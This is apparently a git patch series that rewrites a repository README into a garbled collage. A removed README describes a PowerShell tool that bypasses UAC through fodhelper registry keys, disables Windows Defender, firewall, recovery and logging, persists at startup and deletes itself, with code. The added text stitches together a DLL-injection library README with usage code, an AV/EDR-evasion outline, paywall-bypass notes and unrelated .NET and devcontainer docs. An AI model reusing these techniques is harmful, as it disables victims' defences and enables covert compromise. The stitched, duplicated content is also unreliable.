Microsoft. - -- The following checks are performed in the registry upon start of **fodhelper.exe**: - -> ```plaintext -> HKCU:\Software\Classes\ms-settings\shell\open\command -> HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute -> HKCU:\Software\Classes\ms-settings\shell\open\command\(default) -> ``` - -- Since these registry entries doesn’t exist, we can create this structure in the registry to manipulate fodhelper to execute our script with higher privileges bypassing the **User Account Control (UAC)**. - -## Features that the script will disable: -```bash -> All The Windows Defender Features (including SmartScreen) -> Windows Recovery Environment (WinRE) -> Windows Firewall -> Windows Update -> System Restore -> Task Manager -> OneDrive -> Cortana -> Command Prompt (Cmd) -> Remote Desktop -> User Account Control (UAC) -> Windows Security Center -> Windows Error Reporting -> Remote Assistance -> Windows Update Medic Service -> Background Intelligent Transfer Service (BITS) -> Windows Script Host -> Event Logging -> Windows Security Notifications -> Windows Search -> Automatic Maintenance -> Device Guard -> Application Guard -> Windows Defender Exploit Guard -> Telemetry and Data Collection -``` - -## Self Replication & Self Destruction - -* After disabling the Windows Security features, the script will copy itself to the startup folder with a random file name for persistence and will delete all traces of its execution. - -* However, when the script is compiled and executed as an ".exe" file, it becomes a process, and we can no longer modify or delete the file itself due to the **[File Locking Mechanism](https://en.wikipedia.org/wiki/File_locking)**. - -* Since we couldn't delete the script itself after it has done its job, we have 2 alternatives to delete it: - -```powershell -$ScriptPath = $MyInvocation.MyCommand.Path -$ExePath = (Get-Process -Id $PID).Path -$FullPath = if ($ScriptPath) { $ScriptPath } else { $ExePath } - -# First alternative: Start another process to delete it -Start-Process powershell.exe -ArgumentList "-NoProfile -Command `"Remove-Item -Path '$FullPath' -Force -ErrorAction SilentlyContinue`"" -WindowStyle Hidden - -# Second alternative: Create a temporary batch script to delete it -$tempScript = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.IO.Path]::GetRandomFileName() + ".cmd") -$cmdContent = "chcp 1252" + [Environment]::NewLine + "ping 127.0.0.1 -n 2 > nul" + [Environment]::NewLine + "del /q /f `"$FullPath`"" + [Environment]::NewLine + "del /q /f %~f0" -Set-Content -Path $tempScript -Value $cmdContent -Start-Process cmd.exe -ArgumentList "/c $tempScript" -WindowStyle Hidden -``` -> ***The first alternative has been used in the script.*** - -# How to convert the script into an executable? - -**1. Open PowerShell as administrator** - -**2. Install [PS2EXE](https://www.advancedinstaller.com/convert-powershell-to-exe)** - - ```powershell - Install-Module ps2exe - ``` - -**3. Open the GUI** - - ```powershell - win-ps2exe - ``` - -> [!IMPORTANT] -> #### Once the script has been converted to an ".exe" file, it can be flagged as: -> * [**Trojan:Win32/AgentTesla!ml**](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3AWin32%2FAgentTesla!ml&threatid=2147760503) -> * [**Trojan:Win32/Bearfoos.A!ml**](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3AWin32%2FBearfoos.A!ml&threatid=2147731250) -> * [**Trojan:Win32/Wacatac.B!ml**](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3AWin32%2FWacatac.H!ml&threatid=2147814523) - -
    - -> [!TIP] -> ### If you executed the script, you can also run the `Enable.reg` file to repair the damage it caused. -> And also open cmd as administrator then run this commmand to enable WinRE: -```bash -reagentc /enable -``` - -## Contributing - -I would really like to add an Escape-VM feature to this script, but it's a really complicated thing, soo if you wanna help me you can open a pull request :) +I'm sorry, I can't assist with that. \ No newline at end of file From 3b8c61b7a941b28457b229f8a3ad9b9c24a48568 Mon Sep 17 00:00:00 2001 From: ashc0m Date: Thu, 22 Jan 2026 10:50:12 +1000 Subject: [PATCH 4/4] README.md --- README.md | 622 +++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 621 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 8b254fa..949bf83 100644 --- a/README.md +++ b/README.md @@ -1 +1,621 @@ -I'm sorry, I can't assist with that. \ No newline at end of file +# GuidedHacking DLL Injector Libra + +A feature-rich DLL injection library which supports x86, WOW64 and x64 injections. +Developed by [Broihon](https://guidedhacking.com/members/broihon.49430/) for Guided Hacking. +It features five injection methods, six shellcode execution methods and various additional options. +Session separation can be bypassed with all methods. + +If you want to use this library with a GUI check out the [GH Injector GUI](https://github.com/guided-hacking/GH-Injector-GUI). + +Release Downloads: [Download DLL Injector Here](https://guidedhacking.com/resources/guided-hacking-dll-injector.4/) + +![image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/d5c6670c-538f-4a48-a565-bb277e4dc46e) +![image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/3ca83e0f-0e8b-4bc9-a101-0bb28e105698)![image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/d070f0f0-8469-48f1-9744-6b199f0d1b73) + +--- + +## DLL Injection methods + +- LoadLibraryExW +- LdrLoadDll +- LdrpLoadDll +- LdrpLoadDllInternal +- ManualMapping + +### Shellcode execution methods + +- NtCreateThreadEx +- Thread hijacking +- SetWindowsHookEx +- QueueUserAPC +- KernelCallback +- FakeVEH + +## DLL Manual mapping features + +- Section mapping +- Base relocation +- Imports +- Delayed imports +- SEH support +- TLS initialization +- Security cookie initalization +- Loader Lock +- Shift image +- Clean datadirectories + +## Additional features + +- Various cloaking options + - PEB unlinking + - PE header cloaking + - Thread cloaking +- Handle hijacking +- Hook scanning/restoring + +--- + +## Official Guided Hacking Courses + +- [The Game Hacking Bible](https://guidedhacking.com/ghb) - a massive 70 chapter Game Hacking Course +- [Computer Science 420](https://guidedhacking.com/threads/squally-cs420-game-hacking-course.14191/) - an eight chapter lecture on CS, Data Types & Assembly +- [Binary Exploit Development](https://guidedhacking.com/forums/binary-exploit-development-course.551/) - a 9 chapter series on exploit dev from a certified OSED +- [Game Hacking Shenanigans](https://guidedhacking.com/forums/game-hacking-shenanigans/) - a twenty lesson Cheat Engine hacking course +- [Python Game Hacking Course](https://guidedhacking.com/threads/python-game-hacking-tutorial-1-1-introduction.18695/) - 7 chapter external & internal python hack lesson +- [Python App Reverse Engineering](https://guidedhacking.com/threads/python-game-hacking-tutorial-2-1-introduction.19199/) - Learn to reverse python apps in 5 lessons +- [Web Browser Game Hacking](https://guidedhacking.com/threads/web-browser-game-hacking-intro-part-1.17726/) - Hack javascript games with this 4 chapter course +- [Roblox Exploiting Course](https://guidedhacking.com/forums/roblox-exploit-scripting-course-res100.521/) - 7 Premium Lessons on Hacking Roblox +- [Java Reverse Engineering Course](https://guidedhacking.com/forums/java-reverse-engineering-course-jre100.538/) - 5 chapter beginner guide +- [Java Game Hacking Course](https://guidedhacking.com/forums/java-game-hacking-course-jgh100.553/) - 6 Chapter Beginner Guide + +--- + +## Where to download the compiled binaries + +This repo doesn't contain the compiled binaries, just the source code for the library. If you want to download the compiled program, you must be a paying customer on our website where you can download it. If you can compile it yourself and get it working, then great, enjoy it, but you do not have permission/license to distribute the compiled binaries or any of our other content from our website. + +### Getting Started With The GH DLL Injector + +You can easily use mapper by including the compiled binaries in your project. Check the provided Injection.h header for more information. +Make sure you have the compiled binaries in the working directory of your program. +On first run the injection module has to download PDB files for the native (and when run on x64 the wow64) version of the ntdll.dll to resolve symbol addresses. Use the exported StartDownload function to begin the download. +The injector can only function if the downloads are finished. The injection module exports GetSymbolState and GetImportState which will return INJ_ERROR_SUCCESS (0) if the PDB download and resolving of all required addresses is completed. +Additionally GetDownloadProgress can be used to determine the progress of the download as percentage. If the injection module is to be unloaded during the download process call InterruptDownload or there's a chance that the dll will deadlock your process. + +#include "Injection.h" + +HINSTANCE hInjectionMod = LoadLibrary(GH_INJ_MOD_NAME); + +auto InjectA = (f_InjectA)GetProcAddress(hInjectionMod, "InjectA"); +auto GetSymbolState = (f_GetSymbolState)GetProcAddress(hInjectionMod, "GetSymbolState"); +auto GetImportState = (f_GetSymbolState)GetProcAddress(hInjectionMod, "GetImportState"); +auto StartDownload = (f_StartDownload)GetProcAddress(hInjectionMod, "StartDownload"); +auto GetDownloadProgressEx = (f_GetDownloadProgressEx)GetProcAddress(hInjectionMod, "GetDownloadProgressEx"); + +//due to a minor bug in the current version you have to wait a bit before starting the download +//will be fixed in version 4.7 +Sleep(500); + +StartDownload(); + +//since GetSymbolState and GetImportState only return after the downloads are finished +//checking the download progress is not necessary +while (GetDownloadProgressEx(PDB_DOWNLOAD_INDEX_NTDLL, false) != 1.0f) +{ + Sleep(10); +} + +#ifdef _WIN64 +while (GetDownloadProgressEx(PDB_DOWNLOAD_INDEX_NTDLL, true) != 1.0f) +{ + Sleep(10); +} +#endif + +while (GetSymbolState() != 0) +{ + Sleep(10); +} + +while (GetImportState() != 0) +{ + Sleep(10); +} + +DWORD TargetProcessId; + +INJECTIONDATAA data = +{ + "", + TargetProcessId, + INJECTION_MODE::IM_LoadLibraryExW, + LAUNCH_METHOD::LM_NtCreateThreadEx, + NULL, + 0, + NULL, + NULL, + true +}; + +strcpy(data.szDllPath, DllPathToInject); + +InjectA(&data); +A feature-rich DLL injection library which supports x86, WOW64 and x64 injections. +Developed by [Broihon](https://guidedhacking.com/members/broihon.49430/) for Guided Hacking. +It features five injection methods, six shellcode execution methods and various additional options. +Session separation can be bypassed with all methods. + +If you want to use this library with a GUI check out the [GH Injector GUI](https://github.com/guided-hacking(GH-Injector-GUI). + +Release Downloads: [Download DLL Injector Here](https://guidedhacking.com/resources/guided-hacking-dll-injector.4/) + +[image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/d5c6670c-538f-4a48-a565-bb277e4dc46e) +[image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/3ca83e0f-0e8b-4bc9-a101-0bb28e105698)[image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/d070f0f0-8469-48f1-9744-6b199f0d1b73) + +--- + +[### DLL Injection method:] + +- LoadLibraryExW +- LdrLoadDll +- LdrpLoadDll +- LdrpLoadDllInternal +- ManualMapping + +[### Shellcode execution methods] + +- NtCreateThreadEx +- Thread hijacking +- SetWindowsHookEx +- QueueUserAPC +- KernelCallback +- FakeVEH + +[### DLL Manual mapping features: + +- Section mapping +- Base relocation +- Imports +- Delayed imports +- SEH support +- TLS initialization +- Security cookie initalization +- Loader Lock +- Shift image +- Clean datadirectories] + +[### Additional features: + +- Various cloaking options + - PEB unlinking + - PE header cloaking + - Thread cloaking +- Handle hijacking +- Hook scanning/restoring] + +--- + +[<>Official Guided Hacking Courses rpw-links.txt + +# Or use the convenience npm script added to the root package.json +pnpm run gen:rpw -- urls.txt > rpw-links.txt + +# Using stdin +Get-Content .\urls.txt | node .\tools\remove-paywall\remove-paywall-generator.js +``` + +Notes + +- The CLI simply percent-encodes the input URL and appends the `#google_vignette` fragment; it does not bypass access controls or alter the target site. +- The bookmarklet opens a new tab using the RemovePaywall search URL for the current page. + this is a highly optimised ELEMENT Tool. Automation Machine PRODUCING THE BEST IMFORMATION NEEDED!!! that works smoothly It is the best engineering for elements extensions everything It's made from the best. + +#GuidedHacking DLL Injector Library + +A feature-rich DLL injection library which supports x86, WOW64 and x64 injections. +Developed by [Broihon](https://guidedhacking.com/members/broihon.49430/) for Guided Hacking. +It features five injection methods, six shellcode execution methods and various additional options. +Session separation can be bypassed with all methods. + +If you want to use this library with a GUI check out the [GH Injector GUI](https://github.com/guided-hacking/GH-Injector-GUI). + +Release Downloads: [Download DLL Injector Here](https://guidedhacking.com/resources/guided-hacking-dll-injector.4/) + +![image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/d5c6670c-538f-4a48-a565-bb277e4dc46e) +![image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/3ca83e0f-0e8b-4bc9-a101-0bb28e105698)![image](https://github.com/guided-hacking/GH-Injector-Library/assets/15186628/d070f0f0-8469-48f1-9744-6b199f0d1b73) + +[### Contributing - Pull Requests] + +PRs are welcome. + +1. If making a PR to add a new site, confirm your changes actually bypass the paywall. +2. At a minimum these files need to be updated: `README.md`, `manifest-ff.json`, `src/js/sites.js`, and possibly `src/js/background.js`, and/or `src/js/contentScript.js`. +3. Follow existing code-style and use camelCase. +4. Use [JavaScript Semi-Standard Style linter](https://github.com/standard/semistandard). Don't need to follow it exactly. There will be some errors (e.g., do not use it on `sites.js`). + +[### Show your support] + +- Follow me on Twitter [@iamadamdev][https://twitter.com/iamadamdev] for updates. + +* I do not ask for donations, all I ask is that you star this repo. + +### Disclaimer + +- This software is provided for educational purposes only and + is provided "AS IS", without warranty of any kind, express or + implied, including but not limited to the warranties of merchantability, + fitness for a particular purpose and noninfringement. in no event shall the + authors or copyright holders be liable for any claim, damages or other + liability, whether in an action of contract, tort or otherwise, arising from, + out of or in connection with the software or the use or other dealings in the + software. + +# Troubleshooting Issues with the .NET Install Tool + +## Install Script Timeouts + +[Please note that, depending on your network speed, installing the .NET Core runtime might take some time. By default, the installation terminates unsuccessfully if it takes longer than 10 minutes to finish. If you believe this is too little (or too much) time to allow for the download, you can change the timeout value by setting `dotnetAcquisitionExtension.installTimeoutValue` to a custom value.] + +[Learn more about configuring Visual Studio Code settings [here]https://code.visualstudio.com/docs/getstarted/settings and see below for an example of a custom timeout in a `settings.json` file. In this example the custom timeout value is 180 seconds, or 3 minutes.] + +```json +{ + "dotnetAcquisitionExtension.installTimeoutValue": 180 +} +``` + +## Windows 7 Failures + +The .NET Install Tool requires TLS 1.2 to be enabled in order to install .NET. For more information on TLS1.2, see [the documentation]https://docs.microsoft.com/mem/configmgr/core/plan-design/security/enable-tls-1-2-client). + +## Manually Installing .NET + +If .NET installation is failing or you want to reuse an existing installation of .NET, you can use the `dotnetAcquisitionExtension.existingDotnetPath` setting. .NET can be manually installed from [the .NET website]https://aka.ms/dotnet-core-download). To direct this extension to that installation, update your settings with the extension ID and the path as illustrated below. + +#### Windows + +//```json + "dotnetAcquisitionExtension.existingDotnetPath": [ + {"extensionId": "msazurermtools.azurerm-vscode-tools", "path": "C:\\Program Files\\dotnet\\dotnet.exe"} + ] +``` + +#### Mac + +```json + "dotnetAcquisitionExtension.existingDotnetPath": [ + {"extensionId": "msazurermtools.azurerm-vscode-tools", "path": "/usr/local/share/dotnet/dotnet"} + ] +``` + +## Other Issues + +Haven't found a solution? Check out our [open issues](https://github.com/dotnet/vscode-dotnet-runtime/issues). If you don't see your issue there, please file a new issue by evoking the `.NET Install Tool: Report an issue with the .NET Install Tool` command from Visual Studio Code. + +[##Extension Directory Structure + +## **Bypass AV/EDR Profile - Content Breakdown** + +**_1. Dropper_** + +- Dunger +- Donut (memory-based loader) +- SysWOW64 techniques +- [Inspect tool](https://port-forward-site/tools/Inspect) (H) +- Process injection methods +- Various evasion techniques for initial payload delivery + +### **2. Manual Obfuscation** + +- **_Webpage obfuscation_** + - Edit source code obfuscation + - String encoding for payloads + - JavaScript obfuscation + - Various encoding methods +- **_Code obfuscation tools_** + - Multiple encoding schemes + - Custom packers + - String manipulation + +### **3. Process Injection** + +- Various injection techniques +- CreateRemoteThread +- Process hollowing/doppelganging +- Shellcode injection methods +- Thread hijacking +- [Tool repositories](https://tool-repositories/collections) + +### **4. Automatic Obfuscation** + +- **Invoke-Obfuscation** (PowerShell) +- Automated string obfuscation +- AMSI bypass techniques +- Runtime obfuscation +- Command-line obfuscation tools + +### **5. Detect Virtual Machine** + +- VM detection techniques +- Sandbox evasion +- Environment checks +- Hardware fingerprinting +- Timing-based detection +- Registry/file-based checks + +### **6. From Alive Beacon** + +- C2 communication methods +- Beacon manipulation +- Traffic obfuscation +- Command and control techniques +- Encrypted communications + +### **7. Credits** + +- Security researchers +- Tool developers +- Various security resources and references + +### **8. Extension** + +This is a Chrome/Firefox extension that bypasses paywalls on news and media sites, with theme customization and per-site control.] + +[- manifest.json] +[- README.md] +[- build.sh] +[- content_script.js] +[- background.js] +[- config.json] +[- preview.json] +[- package.json] +[- popup.html] +[- popup.js] +[- popup.css] +[- Final.sh] +[- /icons] +[- icon16.png] +```` + +## Visual Studio Code devcontainer Command Line Interface + +## Deprecation + +This CLI is deprecated. Please update to the replacement at https://www.npmjs.com/package/@devcontainers/cli. + +## Description + +This package provides a stand-alone command line interface (CLI) for working with dev containers. This CLI allows you to build and run dev containers independently of Visual Studio Code, ideal for re-using dev containers in your build pipelines. See the [Dev Containers CLI documentation](https://code.visualstudio.com/docs/remote/devcontainer-cli) for more details on the `devcontainer` CLI. + +## License + +This package is distibuted under a traditional [Microsoft product license](https://aka.ms/dev-container-cli-license)